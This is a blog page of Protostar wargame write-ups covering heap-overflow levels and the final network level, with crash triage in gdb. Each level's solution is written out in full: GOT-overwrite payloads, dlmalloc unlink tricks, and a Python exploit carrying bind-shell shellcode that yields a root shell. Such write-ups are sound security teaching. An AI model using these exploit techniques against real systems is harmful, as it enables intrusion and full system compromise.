Showing posts with label heap-corruption. Show all posts
Showing posts with label heap-corruption. Show all posts

Saturday, February 14, 2015

Protostar - Final #2

About:

This is the last level of the Protostar series. (link)


Source Code:




Solution:

It took me a while just to find the vulnerability here. There's not a description of what the code is doing, so it took some time just to understand what was going on.

One thing that still doesn't make sense is that the destroylist array is never set to anything before it's used in the free call on line 57. You can see buf is set to the return address of calloc on line 45, but it's destroylist that is freed, not buf!

I kept going, assuming a "destroylist[dll] = buf" line was left out somewhere...

I started out by messing around to see if I could cause a crash or hang somewhere:

$ python -c "print 'FSRD' + 'x'*118 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK
Process OK

$ python -c "print 'FSRD' + 'x'*116 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

$ python -c "print 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
^C (hangs)

$ python -c "print '/'*128 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

Why doesn't this trigger the printf statement? oh... "Process OK" is coming from a write call... printf is going somewhere else...

Eventually I got it to crash and leave a coredump in /tmp/ with the following input:

$ python -c "print 'FSRD' + 'a'*124 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993

Loading the coredump:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.1919 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final2...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final2'.
Program terminated with signal 11, Segmentation fault.
#0  strlen () at ../sysdeps/i386/i486/strlen.S:69
69 ../sysdeps/i386/i486/strlen.S: No such file or directory.
in ../sysdeps/i386/i486/strlen.S


(gdb) i r
eax            0x0 0
ecx            0x0 0
edx            0x0 0
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7fc 0xbffff7fc
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0xb7f0a313 0xb7f0a313 <strlen+51>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Unfortunately, this seems to be crashing during the strlen call...

Since we know this is a heap vulnerability, it would be good if we could get it to crash during the free call, which should give us the ability to eventually work it into an arbitrary write using the something like the 'unlink' trick from the earlier heap levels.

Now let's try something like this:

# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + 'a'*119" | nc 127.0.0.1 2993
Process OK

a coredump is made:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2065 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aabf in free (mem=0x804e008) at final2/../common/malloc.c:3643

Nice!

Ok, so we're now failing in the call to free.

Now we just have to work it into something that will let us write to an arbitrary address.

Let's first find what object in the GOT we'll try to overwrite....

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2 

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804d3d8 R_386_GLOB_DAT    __gmon_start__
0804d4c0 R_386_COPY        stderr
0804d4c4 R_386_COPY        __environ
0804d4c8 R_386_COPY        stdin
0804d4e0 R_386_COPY        stdout
0804d3e8 R_386_JUMP_SLOT   __errno_location
0804d3ec R_386_JUMP_SLOT   srand
0804d3f0 R_386_JUMP_SLOT   open
0804d3f4 R_386_JUMP_SLOT   mmap
0804d3f8 R_386_JUMP_SLOT   setgroups
0804d3fc R_386_JUMP_SLOT   getpid
0804d400 R_386_JUMP_SLOT   strerror
0804d404 R_386_JUMP_SLOT   daemon
0804d408 R_386_JUMP_SLOT   sysconf
0804d40c R_386_JUMP_SLOT   err
0804d410 R_386_JUMP_SLOT   signal
0804d414 R_386_JUMP_SLOT   __gmon_start__
0804d418 R_386_JUMP_SLOT   mremap
0804d41c R_386_JUMP_SLOT   write
0804d420 R_386_JUMP_SLOT   listen
0804d424 R_386_JUMP_SLOT   memset
0804d428 R_386_JUMP_SLOT   __libc_start_main
0804d42c R_386_JUMP_SLOT   wait
0804d430 R_386_JUMP_SLOT   htons
0804d434 R_386_JUMP_SLOT   read
0804d438 R_386_JUMP_SLOT   setresuid
0804d43c R_386_JUMP_SLOT   setresgid
0804d440 R_386_JUMP_SLOT   sbrk
0804d444 R_386_JUMP_SLOT   accept
0804d448 R_386_JUMP_SLOT   socket
0804d44c R_386_JUMP_SLOT   dup2
0804d450 R_386_JUMP_SLOT   memcpy
0804d454 R_386_JUMP_SLOT   strlen
0804d458 R_386_JUMP_SLOT   asprintf
0804d45c R_386_JUMP_SLOT   printf
0804d460 R_386_JUMP_SLOT   bind
0804d464 R_386_JUMP_SLOT   close
0804d468 R_386_JUMP_SLOT   fwrite
0804d46c R_386_JUMP_SLOT   fprintf
0804d470 R_386_JUMP_SLOT   strstr
0804d474 R_386_JUMP_SLOT   setvbuf
0804d478 R_386_JUMP_SLOT   execve
0804d47c R_386_JUMP_SLOT   rindex
0804d480 R_386_JUMP_SLOT   memmove
0804d484 R_386_JUMP_SLOT   fork
0804d488 R_386_JUMP_SLOT   setsockopt
0804d48c R_386_JUMP_SLOT   rand
0804d490 R_386_JUMP_SLOT   htonl
0804d494 R_386_JUMP_SLOT   strncmp
0804d498 R_386_JUMP_SLOT   munmap
0804d49c R_386_JUMP_SLOT   snprintf
0804d4a0 R_386_JUMP_SLOT   strcmp
0804d4a4 R_386_JUMP_SLOT   exit


We know write will get called after the first free call... what if we try that?

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2  | grep "write"
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite


Let's first go back and take the code from the 3rd heap level (http://secwriteups.blogspot.com/2014/12/protostar-heap-3.html).
**DON'T FORGET YOU NEED TO DEAL WITH NETWORK BYTE ORDER NOW!**

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'b'*111" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2205 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) 

(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x62626262 1650614882
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Looks like we have an arbitrary write!! (with a +0xc offset in the value we will be writing)

let's make sure we control the to/from addresses:

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'a'*4 + 'b'*4 + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2238 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
...
(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x61616161 1633771873
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

This looks pretty good!

using the write address from the GOT (0x0804d41c) and subtracting 0xc from it gives the target address 0x0804d410.

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ '\x1c\xd4\x04\x08' + 'aaaa' + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 ./core.11.final2.2296 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648
(gdb) x/10x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>: 0xb7f53c70 0xb7f63a60 0xb7f0bc60 0x61616161
0x804d42c <_GLOBAL_OFFSET_TABLE_+80>: 0xb7f2d890 0xb7f78be0 0xb7f53c00 0xb7f2efc0
0x804d43c <_GLOBAL_OFFSET_TABLE_+96>: 0xb7f2f040 0xb7f5ab20

Unfortunately, although we can succesfully hit the GOT, using this chunk layout corrupts the heap, causing a crash in a later part of free.

If instead we use 0xfffffffe and 0xfffffffc, we'll be able to get a similar arbitrary write without the previous crash.

The final solution:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2993

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

hdr = "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x18\xe1\x04\x08"

s.sendall("FSRD" + 'a'*123 + "/")
s.sendall("FSRD" + "ROOT" + 'b'*(119-len(hdr)) + "/" + hdr)
s.sendall('c'*(128-len(shellcode)) + shellcode)

print s.recv(1024)
print s.recv(1024)


s.close()


Running it looks like this:

root@protostar:/tmp# python final2.py 
Process OK
(hangs)

user@protostar:~$ nc 127.0.0.1 4444 
whoami  (<-- typed by me)
root


Monday, December 29, 2014

Protostar - Heap #3

About:

This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution. (link)


Source Code:



Solution:

Here, we're given the ability to write arbitrary data to each of the malloc'd sections of the heap. Given that they will likely be placed adjacent to each other, we should be able to use one of the char*'s strcpy() calls to overwrite some of the other char*'s data as well has its dlmalloc header.

Let's first get some of the address of our target function, winner:
user@protostar:/opt/protostar/bin$ objdump -t ./heap3 | grep "winner"
08048864 g     F .text    00000025              winner


Let's also get the entry in the Global Offset Table (GOT) for printf:
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep "printf"
0804b11c R_386_JUMP_SLOT   printf


Now let's understand how malloc keeps track of free and unfree segments of the heap and how we can use its functionality to get an arbitrary write.

(Here's a good resource on how dlmalloc works: http://g.oswego.edu/dl/html/malloc.html)

At line 22, our heap should look something like this:

[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]

If we can trick dlmalloc into thinking that [b] is not in use, it should trigger a call to coalesce [b] and [c], rewriting the header data for the now-combined block. If the values dlmalloc uses to determine where and what it should write are under our control, we will have gained an arbitrary write to an address of our choosing.

How can we do this with our current heap setup?
 
Call it with this:
./heap3

$(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"')
$(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"')
$(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')

Let's walk through the code to see how it works.


The heaps starts out looking like this:
[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]


after the strcpy(a, argv[1]) call:
[a's header] [aaaaSHELLCODE] [b's header] [b's data] [c's header] [c's data]
  
(The leading "aaaa" is necessary because it will get overwritten later. SHELLCODE is "push 0x08048864; ret")


after the strcpy(b, argv[2]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [c's data]

(c's header has been overwritten with a pointer to a fake chunk header within c's data)


after the strcpy(c, argv[3]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]
(the bk pointer -- 0x0804c00c -- is a pointer to SHELLCODE, from before.)


Let's see how this originally aligns with our original pointers:
  a's header is here
  b's header is here
  c's header is here

[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]

When we hit the free(c) call, it sees that the next chunk is not in use and the header's located here.

The coalescing functionality overwrites printf entry in the GOT to be our shellcode in the first segment.

The final output looks something like this:

user@protostar:/opt/protostar/bin$ ./heap3 $(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"') $(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')
that wasn't too bad now, was it? @ 1417025233

Tuesday, December 23, 2014

Protostar - Heap #2

About:

This level examines what can happen when heap pointers are stale. This level is completed when you see the “you have logged in already!” message. (link)


Source Code:



Solution:

For heap2, our goal is to get the auth->auth integer to be set to a non-zero value.

We can do this by using the "service" command and sending in a oversized service value.

First, let's get addresses for where these objects are allocated:

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth a
[ auth = 0x804c008, service = (nil) ]
service a              
[ auth = 0x804c008, service = 0x804c018 ]

Ok, so now if we send a service object of size >= 0x10, it should overwrite the auth object, setting auth->auth to a non-zero value.

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth a
[ auth = 0x804c008, service = (nil) ]
service aaaaaaaaaaaaaaaa
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Success!




Protostar - Heap #1

About:

This level takes a look at code flow hijacking in data overwrite cases. (link)


Source Code:





Solution:

Ok, this looks somewhat similar to heap0 except there's no function pointer to overwrite.  Instead, let's try to find the puts entry in the Global Offset Table (GOT), overwrite i2->name with puts's address in the GOT, then have argv[2] be equal to address of winner() so that the call to printf() will trigger winner() instead.

Let's start by finding the address of puts in the GOT:

user@protostar:/opt/protostar/bin$ objdump -TR ./heap1

./heap1:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*    00000000              __gmon_start__
00000000      DF *UND*    00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*    00000000  GLIBC_2.0   strcpy
00000000      DF *UND*    00000000  GLIBC_2.0   printf
00000000      DF *UND*    00000000  GLIBC_2.0   time
00000000      DF *UND*    00000000  GLIBC_2.0   malloc
00000000      DF *UND*    00000000  GLIBC_2.0   puts
0804862c g    DO .rodata    00000004  Base        _IO_stdin_used


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts


Now let's find our target address (winner):

user@protostar:/opt/protostar/bin$ objdump -t ./heap1  | grep "winner"
08048494 g     F .text    00000025              winner


Now we need to get the addresses of our two structures:
user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                              = 0x0804a008
malloc(8)                                              = 0x0804a018
malloc(8)                                              = 0x0804a028
malloc(8)                                              = 0x0804a038
strcpy(0x0804a018, "AAAA")                             = 0x0804a018
strcpy(0x0804a038, "BBBB")                             = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                       = 25
+++ exited (status 25) +++
 

Now, let's trigger the overwrite:

user@protostar:/opt/protostar/bin$ ./heap1 $(python -c "print 'x'*20 + '\x74\x97\x04\x08'") $(python -c "print '\x94\x84\x04\x08'")
and we have a winner @ 1417009928

Done!

Protostar - Heap #0

About:

This level introduces heap overflows and how they can influence code flow. (link)


Source Code:




Solution:

Ok this looks like it'll be similar to some of the stack overflow levels, except we want to overflow a data structure that's located on the heap.

First, let's see if we can overwrite f->fp() at all and cause a segfault:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*70")
data is at 0x804a008, fp is at 0x804a050
level has not been passed

No. Let's try again with more data:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*170")
data is at 0x804a008, fp is at 0x804a050
Segmentation fault

Got it!

Ok now let's find the address we want to overwrite f->fp() with:

user@protostar:/opt/protostar/bin$ objdump -t ./heap0 | grep "winner"
08048464 g     F .text    00000014              winner
08048478 g     F .text    00000014              nowinner

Ok, now let's overwrite f->fp() with that address:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*72 + '\x64\x84\x04\x08'")data is at 0x804a008, fp is at 0x804a050
level passed

Done!